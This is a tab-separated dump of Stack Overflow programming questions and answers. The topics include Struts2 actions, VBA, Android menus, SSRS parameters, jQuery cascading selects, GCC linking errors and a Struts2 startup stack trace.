37350051	0	 <p>Well, there is a huge mess here :D</p> <p>First of all, the NullPointerException is thrown because the values are not sent, and the values are not sent because they're not in the form. </p> <p>You should enclose them in the form like this for them to be sent to the <code>ActionSelect</code> action:</p> <pre class="lang-xml prettyprint-override"><code>&lt;s:form action="ActionSelect"&gt; &lt;div class="invoicetext1"&gt;Event Name :&lt;/div&gt; &amp;nbsp;&amp;nbsp; &lt;s:select name="dp.eventState" list="%{state}" class="billlistbox1" id="eventName" /&gt; &lt;div&gt; &lt;s:select name="dp.companyState" class="billlistbox2" listKey="companyState" list="%{status}"&gt; &lt;/s:select&gt; &lt;/div&gt; &lt;div class="invoicetext2"&gt;Company Name :&lt;/div&gt; &lt;div class="clear"&gt;&lt;/div&gt; &lt;/div&gt; &lt;s:submit value=" Click Here"/&gt; &lt;/s:form&gt; </code></pre> <p>Solved the mistery, this doesn't solve your problem, though.</p> <p>You have two main ways to contact actions from a page:</p> <ul> <li><p>Using a standard submit (as you're doing):</p> <p>you either submit a form with its content, or call a link by eventually passing parameters in the querystring. This creates a Request, that will contact an action, that will return an entire JSP, that will be loaded in place of the page you're on now.</p></li> <li><p>Using AJAX:</p> <p>you POST or GET to an action without changing the current page, and the action can return anything, like a JSP snippet, a JSON result, a binary result (through the Struts2 Stream result), etc...</p> <p>You then can choose what to do with the returned data, for example load it inside a <code>&lt;div&gt;</code> that before was empty, or had different content.</p></li> </ul> <p>Now your problem is that you're contacting an action that is not the one you're coming from (is not able to re-render the entire JSP you're on) and you're calling it without using AJAX, then whatever the object mapped to the <code>"success"</code> result is (the whole JSP, or a JSP snippet), it will be loaded in place of the JSP you're on, and it will fail.</p> <p>Since you seem to be quite new to this, I suggest you start with the easy solution (without AJAX), and after being expert with it, the next time try with AJAX.</p> <p>That said, </p> <ol> <li>avoid putting logic in getters and setters;</li> <li>avoid calling methods that are not setter as setters (<code>setState</code>, <code>setStatus</code>...);</li> <li>always make your attributes private;</li> <li>try giving speaking names to variables: state and status for event states and company states are really confusing; and what about "state" instead of "name" (in jsp and on DB is "name");</li> <li>consider loading informations like selectbox content in a <code>prepare()</code> method, so they will be available also in case of errors;</li> <li>you're not closing the connections (and BTW it would be better to use something more evoluted, like Spring JDBC, or better Hibernate, or even better JPA, but for now keep going with the raw queries)</li> </ol> <p>The following is a refactoring of your code to make it achieve the goal. I'll use <code>@Getter</code> and <code>@Setter</code> only for syntactic sugar (they're Lombok annotations, but you keep using your getters and setters, it's just for clarity):</p> <pre class="lang-xml prettyprint-override"><code>&lt;head&gt; &lt;script&gt; $(function(){ $("#event, #company").on('change',function(){ $("#myForm").submit(); }); }); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;form id="myForm"&gt; &lt;div&gt; ... &lt;s:select id="event" name="event" list="events" /&gt; ... &lt;s:select id="company" name="company" list="companies" /&gt; ... &lt;/div&gt; &lt;/form&gt; &lt;div&gt; ... Table - iterate **dataForBillsJspList** here ... &lt;/div&gt; &lt;/body&gt; </code></pre> <pre class="lang-java prettyprint-override"><code>public class RetrieveEvNaCoNaAction extends ActionSupport { private static final long serialVersionUID = -5418233715172672477L; @Getter private List&lt;Event&gt; dataForBillsJspList = new ArrayList&lt;Event&gt;(); @Getter private List&lt;String&gt; events = new ArrayList&lt;String&gt;(); @Getter private List&lt;String&gt; companies = new ArrayList&lt;String&gt;(); @Getter @Setter private String event = null; @Getter @Setter private String company = null; @Override public void prepare() throws Exception { Connection con; try { con = new Database().Get_Connection(); // load companies PreparedStatement ps = con.prepareStatement("SELECT DISTINCT company_name FROM event"); ResultSet rs = ps.executeQuery(); while (rs.next()) { companies.add(rs.getString("company_name")); } // load events ps = con.prepareStatement("SELECT DISTINCT event_name FROM event"); rs = ps.executeQuery(); while (rs.next()) { events.add(rs.getString("event_name")); } } catch(Exception e) { e.printStackTrace(); } finally { con.close(); } } @Override public String execute() { Connection con; try { con = new Database().Get_Connection(); // load the table. The first time the table is loaded completely String sql = "SELECT EVENT_ID, EVENT_NAME, COMPANY_NAME, CONTACT_PERSON, CONTACT_NO, EMAIL_ID, EVENT_VENUE, " + "date_format(FROM_DATE,'%d/%m/%Y') as dateAsFrom, date_format(TO_DATE,'%d/%m/%Y') as dateAsTo ,EVENT_TIME " + "FROM event"; String where = ""; // if instead this action has been called from the JSP page, // the result is filtered on event and company: if (event!=null &amp;&amp; company!=null) { where = " WHERE event_name = ? AND company_name = ?"; } // load companies PreparedStatement ps = con.prepareStatement(sql + where); if (where.length()&gt;0) { ps.setString(1,event); ps.setString(2,company); } ResultSet rs = ps.executeQuery(); while (rs.next()) { dataForBillsJspList.add(new Event(rs.getString("EVENT_ID"),rs.getString("EVENT_NAME"),rs.getString("COMPANY_NAME"), rs.getString("CONTACT_PERSON"),rs.getString("CONTACT_NO"),rs.getString("EMAIL_ID"), rs.getString("EVENT_VENUE"), rs.getString("dateAsFrom"), rs.getString("dateAsTo"), rs.getString("EVENT_TIME"))); } } catch(Exception e) { e.printStackTrace(); } finally { con.close(); } return SUCCESS; } } </code></pre> <p>It is a kickoff example, but it should work.</p> <p>The next steps are:</p> <ol> <li>create a POJO with id and description, show the description in the select boxes, but send the id</li> <li>use header values ("please choose an event"...) and handle in action conditional WHERE (only company, only event, both)</li> <li><strong>PAGINATION</strong></li> </ol> <p>Good luck</p>
37525418	0	 <p>Normally, when you build your APK, all the libs you have imported (jars) are included and transformed to dex files, as the rest of your code. So, yes all the classes are included, even if you don't use them. You can use Proguard to remove them from the APK. Look at this post : <a href="http://stackoverflow.com/questions/14288769/use-proguard-for-stripping-unused-support-lib-classes">Use Proguard for stripping unused Support lib classes</a></p>
20306465	0	iterating through PictureBoxes in visual c++ <p>I'm programming in visual c++, and i have about 60 pictures (indexed p0...p63), and i want to make a loop that goes through all the pictures and change their <code>ImageLocation</code> under some conditions.</p> <p>I figured the <code>Tag</code> property and one of my attempts was like this: i tagged my pictures from 0 to 63 and then tried the following:</p> <pre><code>for(int i=0; i&lt;64; i++) { PictureBox-&gt;Tag[i]-&gt;ImageLocation="possible-.gif"; } </code></pre> <p>It's not working... I get this error:</p> <pre><code>syntax error : missing ';' before '-&gt;' line: 1514 syntax error : missing ';' before '-&gt;' line: 1514 </code></pre> <p>(twice, same line)</p> <p>What's the right way of doing it?</p> <p>Thank you!</p> <p><strong><em>edit:</em></strong></p> <p>OK now i have the pictures in an array. Is there a way to have a common rule for all of them? I want to make a click event for each and every one of the pictures. Is the only way setting a rule for each independently? Or can i set a rule for the array itself by saying something like:</p> <pre><code>if(Pictureboxes[i]_Clicked) { Pictureboxes[i].something = "something else"; } </code></pre>
39112997	0	 <p>There are two steps to accomplish this: 1. Change your parent div style to this:</p> <pre><code>#my-projects-section { background-color: black; height: 500px; width:100%; } </code></pre> <p>2. Add this to your child styles:</p> <pre><code>#image-one, #image-two, #image-three { width: 30%; margin: 1.66%; height: 200px; background-size: cover; background-repeat: no-repeat; transition: .2s ease-out, .2s ease-in; } </code></pre> <p><a href="http://codepen.io/westefan/pen/Lkoooq" rel="nofollow">http://codepen.io/westefan/pen/Lkoooq</a></p> <p>Currently this is statically defined, if you would like to add a new project into the section, you have to modify the CSS. There are also options to calculate margins, but it is not yet supported: <a href="https://developer.mozilla.org/en/docs/Web/CSS/calc" rel="nofollow">https://developer.mozilla.org/en/docs/Web/CSS/calc</a> Another option would be to use Javascript to count childelements and create style completely dynamical based on the amount of children.</p>
26658216	0	Excel Macro - Windows().Activate not taking value <p>The code that works is the following:</p> <pre><code>Windows("Contract Drilldown (3).xls").Activate </code></pre> <p>When I use :</p> <pre><code> Windows(Chr(34) &amp; ddlOpenWorkbooks.Value &amp; Chr(34)).Activate </code></pre> <p>I get:</p> <blockquote> <p>Runtime Error '424': Object Required</p> </blockquote> <hr> <p>If I use a String Variable to pass in the values i.e.:</p> <pre><code>Dim wbn As String wbn = "Contract Drilldown (3).xls" Windows(Chr(34) &amp; wbn &amp; Chr(34)).Activate </code></pre> <p>I get:</p> <blockquote> <p>Run-time error '9': Subscript out of range</p> </blockquote> <hr> <p>And if I use</p> <pre><code>wbn = ddlOpenWorkbooks.Value Windows(Chr(34) &amp; wbn &amp; Chr(34)).Activate </code></pre> <p>I also get </p> <blockquote> <p>Runtime Error '424': Object Required</p> </blockquote> <hr> <p>Anyone have any idea how I can pass in the <em>ddlOpenWorkbooks.Value</em> in without getting an error?</p> <h2>Edit - More Info</h2> <p>Ok so the application looks like this: <img src="https://i.stack.imgur.com/FiAhi.png" alt="enter image description here"></p> <p>the full code block for the Import Data Button is:</p> <pre><code>Public Sub Data_Import() Windows(ddlOpenWorkBooks.Value).Activate Columns("A:V").Select Selection.Copy Omni_Data.Activate Range("A1").Select ActiveSheet.Paste Omni_Data.Range("A:Z").Interior.ColorIndex = 0 Omni_Data.Range("A:Z").Font.Name = "Segoe UI" Omni_Data.Range("A:Z").Font.Name = "Segoe UI" 'Setting Background Colour to white and changing font End Sub </code></pre> <p>The above Sub is called on Click Event for the button.</p> <p>As a test the close button has the following code:</p> <pre><code>Private Sub cmdCancel_Click() MsgBox (ddlOpenWorkbooks.Value) End End Sub </code></pre> <p>Which works fine:</p> <p><img src="https://i.stack.imgur.com/hHtYv.png" alt="enter image description here"></p> <h2>Update</h2> <p>So we have found the problem.</p> <p>As this is being called from a module it didn't know where ddlOpenWorkbooks was and where to pull that data from. </p> <p>The corrected code in the Sub is:</p> <pre><code>Public Sub Data_Import() Windows(frmOmniDataManipulation.ddlOpenWorkbooks.Value).Activate Columns("A:V").Select Selection.Copy Omni_Data.Activate Range("A1").Select ActiveSheet.Paste Omni_Data.Range("A:Z").Interior.ColorIndex = 0 Omni_Data.Range("A:Z").Font.Name = "Segoe UI" Omni_Data.Range("A:Z").Font.Name = "Segoe UI" 'Setting Background Colour to white and changing font End Sub </code></pre> <p>This will allow me to call the sub.</p> <p>Thanks All!</p>
20864408	0	 <blockquote> <p>I am trying to obtain a handle on one of the views in the Action Bar</p> </blockquote> <p>I will assume that you mean something established via <code>android:actionLayout</code> in your <code>&lt;item&gt;</code> element of your <code>&lt;menu&gt;</code> resource.</p> <blockquote> <p>I have tried calling findViewById(R.id.menu_item)</p> </blockquote> <p>To retrieve the <code>View</code> associated with your <code>android:actionLayout</code>, call <code>findItem()</code> on the <code>Menu</code> to retrieve the <code>MenuItem</code>, then call <code>getActionView()</code> on the <code>MenuItem</code>. This can be done any time after you have inflated the menu resource.</p>
7018235	0	 <p>There are 2 things you can do in this instance.</p> <p>First of all you are correct, it is not accepting it because it is now a comma seperated list.</p> <p>Basically what you need to do is parse out that comma seperated list and use a function with an IN clause in your main query. Here's a very good article explaining how to do this:</p> <p><a href="http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/ssrs_multi_value_parameters" rel="nofollow">http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/ssrs_multi_value_parameters</a></p> <p>Otherwise another method would be to return everything in your SQL code and filter on the SSRS side. The way to do this would be to remove your where clause in SQL which filters your vouchers. This will then bring back all vouchers. In SSRS then set up a parameter the same way you normally would for a multi select parameter. Then in SSRS design view, you right click your table and go to properties. There is then a tab called filters. You can set up the filter here by saying do not show these vouchers. Basically it hides them.</p> <p>The first way I explanined is definitely the best way to do it as it is faster and can be re-used in the long run. It is very simple once all the function are setup.</p>
25690125	0	 <p>Why, you use</p> <pre><code>var dropdownlist = $(container.find("#ddlActionType")).data("kendoDropDownList"); </code></pre> <p>instead. </p> <p>You're welcome!</p>
25304005	0	 <p>The highest available version of GCC in the 12.04 repositories is 4.6. You can use the package manager to install a newer version, but you will have to add a PPA. <a href="http://ubuntuhandbook.org/index.php/2013/08/install-gcc-4-8-via-ppa-in-ubuntu-12-04-13-04/" rel="nofollow">This</a> link should help, although it is for a slightly older version of GCC (but can be used for the newest version).</p> <p>As a commenter pointed out, if your own built version of GCC was compiled with the <code>--prefix</code> parameter, the entire installation should be in that directory under <code>/usr/local</code> or wherever you installed it, and can be removed.</p>
26501899	0	jQuery for hiding other columns options(dynamic) except column one. and onClick it shows other <p>I am having a problem regarding jQuery. In my (codeigniter)view file i have created a columns which are fetching data from the database perfectly. All i want is to put a jQuery that shows only column_one(id : col_1) firstly, and all the remaining columns would be blank. when i click on any option of the first column it shows second column options.</p> <p>I am newbie to jQuery and i wonder if i can do this. Sorry, in advance if it is a silly one!</p> <p>Here is my script i am trying in my view file. Hope you all can get what i am trying.</p> <p><strong>Script :</strong></p> <pre><code>$('document').ready(function()) { var link = "&lt;?php echo base_url(); ?&gt;" ; //click cat_1, get cat_2 $('#cat_1').click(function() { var cat_1 = $(this).val(); // getting data of cat_level_2 from cat_1 $.post(link + 'admin/admin_cat/category/cat_level_2' , {cat_1:cat_1}, function(data) { $('#cat_3').html(''); $('#cat_level_4').html(''); $('#cat_2').html(data); }); }); $('#cat_2').click(function(){ var cat_2 = $(this).val(); // getting data of cat_level_2 from cat_1 $.post(link + 'admin/admin_cat/category/cat_level_3 ' , {cat_2:cat_2}, function(data) { $('#cat_3').html(data); $('#cat_level_4').html(''); }); }); } </code></pre> <p>Here i have created a columns in view file. which is fetching data from database.</p> <p><strong>Columns :</strong> </p> <pre><code>&lt;div class="category-col"&gt; &lt;select size="15" name='cat_1' id='cat_1'&gt; &lt;?php foreach ($dropdown as $cat_1) ?&gt; &lt;?php { ?&gt; &lt;option value=" &lt;?php echo form_dropdown('cat_level', $dropdown);?&gt; "&gt; &lt;/option&gt; &lt;?php } ?&gt; &lt;/select&gt; &lt;/div&gt; &lt;script type="text/javascript"&gt; &lt;/script&gt; &lt;div class="category-col"&gt; &lt;select size="15" name='cat_2' id='cat_2'&gt; &lt;?php if(isset($cat_level_2) &amp;&amp; $cat_level_2 != false){ ;?&gt; &lt;?php foreach ($cat_level_2 as $cat_2) {?&gt; &lt;option value=""&gt; &lt;?php echo $cat_2; ?&gt; &lt;/option&gt; &lt;?php } }?&gt; &lt;/select&gt; &lt;/div&gt; &lt;div class="category-col"&gt; &lt;select size="15" name='cat_3' id='cat_3'&gt; &lt;?php if(isset($cat_level_3) &amp;&amp; $cat_level_3 != false){ ;?&gt; &lt;?php foreach ($cat_level_3 as $cat_3) {?&gt; &lt;option value=""&gt; &lt;?php echo $cat_3; ?&gt; &lt;/option&gt; &lt;?php } }?&gt; &lt;/select&gt; &lt;/div&gt; </code></pre> <p>Thanks for the consideration mates!</p>
16225251	0	 <p>Get rid of:</p> <pre><code>&lt;uses-library android:name="com.actionbarsherlock" /&gt; </code></pre> <p>as <code>&lt;uses-library&gt;</code> is only for firmware libraries.</p> <p>Also, you appear to be using both Maps V1 and Maps V2, which is possible but unlikely. If you are trying to use Maps V2, get rid of:</p> <pre><code> &lt;uses-library android:name="com.google.android.maps"/&gt; </code></pre> <p>as that is Maps V1.</p>
4892679	0	 <pre><code>var select = document.getElementById('myselect'); var newoption = document.createElement('option'); newoption.value = 0; // or whatever newoption.innerHTML = '0'; // or whatever select.insertBefore(newoption, select.options[0]); </code></pre>
13816356	0	 <p>To get the aggregate of the whole set you can use an empty <code>OVER</code> clause</p> <pre><code>WITH T(Result) AS (SELECT FloatColumn - Avg(FloatColumn) OVER() - Stdev(FloatColumn) OVER () FROM Data) SELECT Count(*), Result FROM T GROUP BY Result </code></pre>
19100930	0	 <p>The access token returned in the call to the OAuth2 endpoint identifies the caller and privileges (which api calls you can make). This is required for any of the api calls (REST) to create payments, execute, refunds etc. Some calls require more privileges than others, i.e. you need to have requested more information or provided more credentials when createing the access token.</p> <p>The token returned in the URL identifies the payment, this is so that when a user is redirected back to your site, you have a way to identify which payment has been redirected back to your site and identify the proper information, i.e. execute the correct payment.</p>
1521859	0	"Nonrepresentable section on output" error during linking on linux <p>I get this error at the linker stage when compiling the webkit-1.1.5 package on my Ubuntu 9.04 box:</p> <pre><code>libtool: link: gcc -ansi -fno-strict-aliasing -O2 -Wall -W -Wcast-align -Wchar-subscripts -Wreturn-type -Wformat -Wformat-security -Wno-format-y2k -Wundef -Wmissing-format-attribute -Wpointer-arith -Wwrite-strings -Wno-unused-parameter -Wno-parentheses -fno-exceptions -fvisibility=hidden -D_REENTRANT -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include -I/usr/include/atk-1.0 -I/usr/include/cairo -I/usr/include/pango-1.0 -I/usr/include/pixman-1 -I/usr/include/freetype2 -I/usr/include/directfb -I/usr/include/libpng12 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/libsoup-2.4 -I/usr/include/libxml2 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -g -O2 -O2 -o Programs/.libs/GtkLauncher WebKitTools/GtkLauncher/Programs_GtkLauncher-main.o -pthread ./.libs/libwebkit-1.0.so /usr/lib/libgtk-x11-2.0.so /usr/lib/libgdk-x11-2.0.so /usr/lib/libatk-1.0.so /usr/lib/libpangoft2-1.0.so /usr/lib/libgdk_pixbuf-2.0.so -lm /usr/lib/libpangocairo-1.0.so /usr/lib/libgio-2.0.so /usr/lib/libcairo.so /usr/lib/libpango-1.0.so /usr/lib/libfreetype.so -lfontconfig /usr/lib/libgmodule-2.0.so /usr/lib/libgobject-2.0.so /usr/lib/libgthread-2.0.so -lrt /usr/lib/libglib-2.0.so -pthread make[1]: Leaving directory `/home/nagul/build_area/webkit-1.1.5' WebKitTools/DumpRenderTree/gtk/TestNetscapePlugin/TestNetscapePlugin.cpp: In function ‘NPError webkit_test_plugin_get_value(NPP_t*, NPPVariable, void*)’: WebKitTools/DumpRenderTree/gtk/TestNetscapePlugin/TestNetscapePlugin.cpp:221: warning: deprecated conversion from string constant to ‘char*’ WebKitTools/DumpRenderTree/gtk/TestNetscapePlugin/TestNetscapePlugin.cpp:224: warning: deprecated conversion from string constant to ‘char*’ WebKitTools/DumpRenderTree/gtk/TestNetscapePlugin/TestNetscapePlugin.cpp: In function ‘char* NP_GetMIMEDescription()’: WebKitTools/DumpRenderTree/gtk/TestNetscapePlugin/TestNetscapePlugin.cpp:260: warning: deprecated conversion from string constant to ‘char*’ /usr/bin/ld: Programs/.libs/GtkLauncher: hidden symbol `__stack_chk_fail_local' in /usr/lib/libc_nonshared.a(stack_chk_fail_local.oS) is referenced by DSO /usr/bin/ld: final link failed: Nonrepresentable section on output collect2: ld returned 1 exit status make[1]: *** [Programs/GtkLauncher] Error 1 make: *** [all] Error 2 </code></pre> <p>I'd like some pointers on how to attack this problem, either by looking into the "hidden sybmol" error or by helping me understand what the "Nonrepresentable section on output" message from the linker actually means. </p> <p>I have already checked that this is consistent behaviour that persists across a <code>make clean;make</code> invocation.</p>
36162322	0	Controlling when participants are added with vanity a/b test <p>Using <a href="https://github.com/assaf/vanity" rel="nofollow">vanity</a> to conduct an A/B test. The test is reliant on a modal that is conditionally shown to certain users. The modal contains different incentives based on which side of the test you see.</p> <p>The code for the modal is in a partial that gets loaded on several pages in our app. </p> <p>Example: </p> <pre><code>&lt;%= render partial: 'modals/example' %&gt; </code></pre> <p>That partial contains a condition for the content that will be shown:</p> <pre><code>&lt;% if ab_test(:whatever) == "something" %&gt; &lt;p&gt;Stuff to show&lt;/p&gt; &lt;% else %&gt; &lt;p&gt;Different stuff to show&lt;/p&gt; &lt;% end %&gt; </code></pre> <p>I'm tracking the relevant metric in the relevant place.</p> <p>The test itself works as expected in terms of showing the content and converting. The problem I'm running into is that because the partial is loaded even when the modal isn't show...everyone that lands on a page that references this partial is being added as a "participant" and I would like to only count people who have actually seen the modal as participants.</p> <p>We use mixpanel as well and I can pivot into running the test with that. I like vanity, though, and would prefer to use it if there's a reasonable solution that isn't going to significantly increase the time it takes to implement. Was hoping someone SO could point out what I'm missing and how to approach solving.</p>
17364133	0	How can I update a file incrementally in iOS. (File patching) <p>I have a huge text file in my application (version 1.0).</p> <p>Lets assume that a new version (2.0) of this file was just released. Most of the file remained the same but the new (2.0) version has a few modifications (some lines removed, others added).</p> <p>I now wish to <strong>update</strong> the file (1.0) to the new version (2.0), but do not wish to download the whole file again. I would love to just patch the file with the changes of the new file, thus saving bandwith from downloading the WHOLE new file from my server. (Similar to the way versioning systems like git or svn act)</p> <p>How can I do this programmatically? Are there any iOS libraries available?</p> <p>Thank you</p>
18539082	0	Struts 2 problem to run the program <p>I am new in Struts 2. I want to create a simple Hello program using struts2 and when I try to run the program, i am getting the following message in the console:</p> <pre class="lang-none prettyprint-override"><code>Aug 30, 2013 11:33:35 AM org.apache.catalina.core.AprLifecycleListener init INFO: The APR based Apache Tomcat Native library which allows optimal performance in production environments was not found on the java.library.path: C:\Program Files\Java\jre7\bin;C:\Windows\Sun\Java\bin;C:\Windows\system32;C:\Windows;C:\Program Files (x86)\HP SimplePass\x64;C:\Program Files (x86)\HP SimplePass\;;C:\Program Files (x86)\AMD APP\bin\x86_64;C:\Program Files (x86)\AMD APP\bin\x86;C:\Program Files\Common Files\Microsoft Shared\Windows Live;C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files (x86)\Common Files\Roxio Shared\DLLShared\;C:\Program Files (x86)\Common Files\Roxio Shared\DLLShared\;C:\Program Files (x86)\Common Files\Roxio Shared\12.0\DLLShared\;C:\Program Files (x86)\Windows Live\Shared;C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static;C:\Program Files (x86)\Intel\Services\IPT\;C:\Program Files\Common Files\Autodesk Shared\;C:\Program Files (x86)\Autodesk\Backburner\;C:\Program Files\Intel\WiFi\bin\;C:\Program Files\Common Files\Intel\WirelessCommon\;C:\Program Files (x86)\Git\bin;C:\Program Files\Microsoft SQL Server\110\Tools\Binn\;C:\Program Files\Java\jdk1.7.0_25\bin;C:\javaworks\apache-ant-1.9.2\bin;;. Aug 30, 2013 11:33:36 AM org.apache.tomcat.util.digester.SetPropertiesRule begin WARNING: [SetPropertiesRule]{Server/Service/Engine/Host/Context} Setting property 'source' to 'org.eclipse.jst.jee.server:ExampleTracker' did not find a matching property. Aug 30, 2013 11:33:36 AM org.apache.coyote.AbstractProtocol init INFO: Initializing ProtocolHandler ["http-bio-8080"] Aug 30, 2013 11:33:36 AM org.apache.coyote.AbstractProtocol init INFO: Initializing ProtocolHandler ["ajp-bio-8009"] Aug 30, 2013 11:33:36 AM org.apache.catalina.startup.Catalina load INFO: Initialization processed in 661 ms Aug 30, 2013 11:33:36 AM org.apache.catalina.core.StandardService startInternal INFO: Starting service Catalina Aug 30, 2013 11:33:36 AM org.apache.catalina.core.StandardEngine startInternal INFO: Starting Servlet Engine: Apache Tomcat/7.0.42 Aug 30, 2013 11:33:37 AM com.opensymphony.xwork2.util.logging.jdk.JdkLogger error SEVERE: Dispatcher initialization failed java.lang.RuntimeException: java.lang.reflect.InvocationTargetException at com.opensymphony.xwork2.inject.ContainerImpl$MethodInjector.inject(ContainerImpl.java:301) at com.opensymphony.xwork2.inject.ContainerImpl$ConstructorInjector.construct(ContainerImpl.java:438) at com.opensymphony.xwork2.inject.ContainerBuilder$5.create(ContainerBuilder.java:207) at com.opensymphony.xwork2.inject.Scope$2$1.create(Scope.java:51) at com.opensymphony.xwork2.inject.ContainerBuilder$3.create(ContainerBuilder.java:93) at com.opensymphony.xwork2.inject.ContainerBuilder$7.call(ContainerBuilder.java:487) at com.opensymphony.xwork2.inject.ContainerBuilder$7.call(ContainerBuilder.java:484) at com.opensymphony.xwork2.inject.ContainerImpl.callInContext(ContainerImpl.java:584) at com.opensymphony.xwork2.inject.ContainerBuilder.create(ContainerBuilder.java:484) at com.opensymphony.xwork2.config.impl.DefaultConfiguration.createBootstrapContainer(DefaultConfiguration.java:324) at com.opensymphony.xwork2.config.impl.DefaultConfiguration.reloadContainer(DefaultConfiguration.java:221) at com.opensymphony.xwork2.config.ConfigurationManager.getConfiguration(ConfigurationManager.java:67) at org.apache.struts2.dispatcher.Dispatcher.init_PreloadConfiguration(Dispatcher.java:446) at org.apache.struts2.dispatcher.Dispatcher.init(Dispatcher.java:490) at org.apache.struts2.dispatcher.ng.InitOperations.initDispatcher(InitOperations.java:74) at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.init(StrutsPrepareAndExecuteFilter.java:57) at org.apache.catalina.core.ApplicationFilterConfig.initFilter(ApplicationFilterConfig.java:281) at org.apache.catalina.core.ApplicationFilterConfig.getFilter(ApplicationFilterConfig.java:262) at org.apache.catalina.core.ApplicationFilterConfig.&lt;init&gt;(ApplicationFilterConfig.java:107) at org.apache.catalina.core.StandardContext.filterStart(StandardContext.java:4775) at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5452) at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150) at org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1559) at org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1549) at java.util.concurrent.FutureTask$Sync.innerRun(Unknown Source) at java.util.concurrent.FutureTask.run(Unknown Source) at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) at java.lang.Thread.run(Unknown Source) Caused by: java.lang.reflect.InvocationTargetException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at com.opensymphony.xwork2.inject.ContainerImpl$MethodInjector.inject(ContainerImpl.java:299) ... 28 more Caused by: java.lang.ExceptionInInitializerError at com.opensymphony.xwork2.ognl.OgnlValueStackFactory.setContainer(OgnlValueStackFactory.java:84) ... 33 more Caused by: java.lang.IllegalArgumentException: Javassist library is missing in classpath! Please add missed dependency! at ognl.OgnlRuntime.&lt;clinit&gt;(OgnlRuntime.java:168) ... 34 more Caused by: java.lang.ClassNotFoundException: javassist.ClassPool at org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1714) at org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1559) at java.lang.Class.forName0(Native Method) at java.lang.Class.forName(Unknown Source) at ognl.OgnlRuntime.&lt;clinit&gt;(OgnlRuntime.java:165) ... 34 more Aug 30, 2013 11:33:37 AM org.apache.catalina.core.StandardContext filterStart SEVERE: Exception starting filter struts2 java.lang.reflect.InvocationTargetException - Class: com.opensymphony.xwork2.inject.ContainerImpl$MethodInjector File: ContainerImpl.java Method: inject Line: 301 - com/opensymphony/xwork2/inject/ContainerImpl.java:301:-1 at org.apache.struts2.dispatcher.Dispatcher.init(Dispatcher.java:502) at org.apache.struts2.dispatcher.ng.InitOperations.initDispatcher(InitOperations.java:74) at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.init(StrutsPrepareAndExecuteFilter.java:57) at org.apache.catalina.core.ApplicationFilterConfig.initFilter(ApplicationFilterConfig.java:281) at org.apache.catalina.core.ApplicationFilterConfig.getFilter(ApplicationFilterConfig.java:262) at org.apache.catalina.core.ApplicationFilterConfig.&lt;init&gt;(ApplicationFilterConfig.java:107) at org.apache.catalina.core.StandardContext.filterStart(StandardContext.java:4775) at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5452) at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150) at org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1559) at org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1549) at java.util.concurrent.FutureTask$Sync.innerRun(Unknown Source) at java.util.concurrent.FutureTask.run(Unknown Source) at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) at java.lang.Thread.run(Unknown Source) Caused by: java.lang.RuntimeException: java.lang.reflect.InvocationTargetException at com.opensymphony.xwork2.inject.ContainerImpl$MethodInjector.inject(ContainerImpl.java:301) at com.opensymphony.xwork2.inject.ContainerImpl$ConstructorInjector.construct(ContainerImpl.java:438) at com.opensymphony.xwork2.inject.ContainerBuilder$5.create(ContainerBuilder.java:207) at com.opensymphony.xwork2.inject.Scope$2$1.create(Scope.java:51) at com.opensymphony.xwork2.inject.ContainerBuilder$3.create(ContainerBuilder.java:93) at com.opensymphony.xwork2.inject.ContainerBuilder$7.call(ContainerBuilder.java:487) at com.opensymphony.xwork2.inject.ContainerBuilder$7.call(ContainerBuilder.java:484) at com.opensymphony.xwork2.inject.ContainerImpl.callInContext(ContainerImpl.java:584) at com.opensymphony.xwork2.inject.ContainerBuilder.create(ContainerBuilder.java:484) at com.opensymphony.xwork2.config.impl.DefaultConfiguration.createBootstrapContainer(DefaultConfiguration.java:324) at com.opensymphony.xwork2.config.impl.DefaultConfiguration.reloadContainer(DefaultConfiguration.java:221) at com.opensymphony.xwork2.config.ConfigurationManager.getConfiguration(ConfigurationManager.java:67) at org.apache.struts2.dispatcher.Dispatcher.init_PreloadConfiguration(Dispatcher.java:446) at org.apache.struts2.dispatcher.Dispatcher.init(Dispatcher.java:490) ... 15 more Caused by: java.lang.reflect.InvocationTargetException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at com.opensymphony.xwork2.inject.ContainerImpl$MethodInjector.inject(ContainerImpl.java:299) ... 28 more Caused by: java.lang.ExceptionInInitializerError at com.opensymphony.xwork2.ognl.OgnlValueStackFactory.setContainer(OgnlValueStackFactory.java:84) ... 33 more Caused by: java.lang.IllegalArgumentException: Javassist library is missing in classpath! Please add missed dependency! at ognl.OgnlRuntime.&lt;clinit&gt;(OgnlRuntime.java:168) 